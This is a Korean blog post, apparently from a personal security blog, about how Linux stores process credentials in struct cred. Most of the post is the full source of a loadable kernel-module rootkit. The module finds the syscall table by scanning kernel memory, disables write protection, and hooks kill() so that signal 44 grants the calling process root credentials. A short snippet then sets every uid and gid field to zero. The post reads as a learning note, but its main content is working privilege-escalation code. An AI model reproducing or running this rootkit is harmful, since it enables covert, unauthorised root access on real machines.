커널 버전마다 user의 credential을 처리하는 방식이 다양하다.
kernel 2.6 버전 이전
task_struct의 구조체에서 uid, euid와 같이 권한 설정 파일에 접근가능했음.
하지만 차즘 차츰 변화했음
kernel 2.6 버전 이후? --> 확실하지 않음.
task_struct의 권한? 관련 부분 내용을 struct cred 로 따로 분리하여서 관리하고 있음
그래서 credential를 변경하기 위해서는 struct cred 구조체를 변경해줘야 한다.
사용되는 관련함수
prepare_creds()
commit_creds()
prepare 함수를 이용해서 자신의 cred 구조체를 만든다. 그 후 원하는 설정으로 변경한다.
그리고 coomit_creds 함수를 이용해서 등록하는 과정을 이용한다.
1) namespace kuid, kgid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | #include <linux/module.h> // included for all kernel modules #include <linux/kernel.h> // included for KERN_INFO #include <linux/init.h> // included for __init and __exit macros #include <linux/unistd.h> #include <linux/kobject.h> #include <linux/syscalls.h> MODULE_LICENSE("GPL"); // GPL == GNU Public License v2 또는 이상 // GPL과 호환되는 라이선스로 등록한 모듈에서만 해당 심볼들을 사용가능. MODULE_AUTHOR("Richong"); MODULE_DESCRIPTION("richong.tistory.com"); //x86 system #if defined(__i386__) #define START_CHECK 0xc0000000 #define END_CHECK 0xd0000000 typedef unsigned int psize; #else //x64 system #define START_CHECK 0xffffffff81000000 #define END_CHECK 0xffffffffa2000000 typedef unsigned long psize; #endif //global var asmlinkage int (*org_kill)(pid_t pid, int sig); psize* psys_table = NULL; /////////////////////////////////////////////////////////////////////////////// //function define int rootkit_init(void); void rootkit_exit(void); module_init(rootkit_init); module_exit(rootkit_exit); void write_on(void); void write_off(void); asmlinkage int my_kill(pid_t pid, int sig); asmlinkage void get_root(pid_t pid); void write_off(void){ write_cr0(read_cr0() & (~0x10000)); } void write_on(void){ write_cr0(read_cr0() | (0x10000)); } enum { SIGTEST = 44, }; asmlinkage int my_kill(pid_t pid, int sig){ int ret = 0; printk("kill pid : %d sig : %d\n",pid,sig); switch(sig){ case SIGTEST: get_root(pid); printk("Hello world\n"); break; default: ret = org_kill(pid,sig); break; } return ret; } asmlinkage void get_root(pid_t pid) { struct user_namespace *ns = current_user_ns(); struct cred *new; kuid_t kuid = make_kuid(ns, 0); kgid_t kgid = make_kgid(ns, 0); if(!uid_valid(kuid)) { return -EINVAL; } new = prepare_creds(); if(new != NULL) { new->uid = kuid; new->gid = kgid; new->euid = kuid; new->egid = kgid; new->suid = kuid; new->sgid = kgid; new->fsuid = kuid; new->fsgid = kgid; return commit_creds(new); } else { abort_creds(new); return -ENOMEM; } } psize find_syscall_table(void) { psize** ppsyscall_table = NULL; psize index = START_CHECK; //kernel memory searching while (index < END_CHECK){ ppsyscall_table = (psize**)index; //ppsyscall_table __NR_close index value get //cmp true sys_close value if(ppsyscall_table[__NR_close] == (psize*) sys_close){ return &ppsyscall_table[0]; } //4byte ++ index += sizeof(void*); } return 0; } int rootkit_init(void) { printk("rootkit: module loaded\n"); //find syscall table psys_table = find_syscall_table(); if(psys_table){ printk("system call table address : %p\n",psys_table); } else{ printk("Not find syscall table address \n"); } //write protect off write_off(); //syscall table change //org_write backup origin address data org_kill = (void*) xchg(&psys_table[__NR_kill], my_kill); //write protect on write_on(); return 0; } void rootkit_exit(void) { printk("rootkit: module removed\n"); write_off(); xchg(&psys_table[__NR_kill],org_kill); write_on(); } | cs |
<signal 보낸 후>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | typedef struct { uid_t val; } kuid_t; typedef struct { gid_t val; } kgid_t; new->uid.val = 0; new->gid.val = 0; new->euid.val = 0; new->egid.val = 0; new->suid.val = 0; new->sgid.val = 0; new->fsuid.val = 0; new->fsgid.val = 0; | cs |
위의 구조체에 val 값이 있고 해당 값은 기본적인 uid, gid 값이다.
그렇기 때문에 root인 0으로 전부 변경해주면 된다.
[참고] man namespaces, man man user_namespaces
[참고] http://www.bricktou.com/kernel/user_namespace_make_kuid_en.html
[참고] https://swbae98.wordpress.com/2011/04/27/task_struct-%EC%97%90-%EC%9E%88%EB%8D%98-uid-euid-%ED%95%84%EB%93%9C/
[참고]https://shanetully.com/2014/04/adding-a-syscall-to-linux-3-14/
[참고]https://stackoverflow.com/questions/39229639/how-to-get-current-processs-uid-and-euid-in-linux-kernel-4-2
'reversing > rootkit' 카테고리의 다른 글
rootkit - packet sniff[0] (0) | 2017.06.21 |
---|---|
rootkit - root [2] (0) | 2017.06.13 |
rootkit - vfs hooking [readdir,iterate] (0) | 2017.05.25 |
rootkit - 자료정리 task (0) | 2017.05.11 |
rootkit- syscall [2] (0) | 2017.05.04 |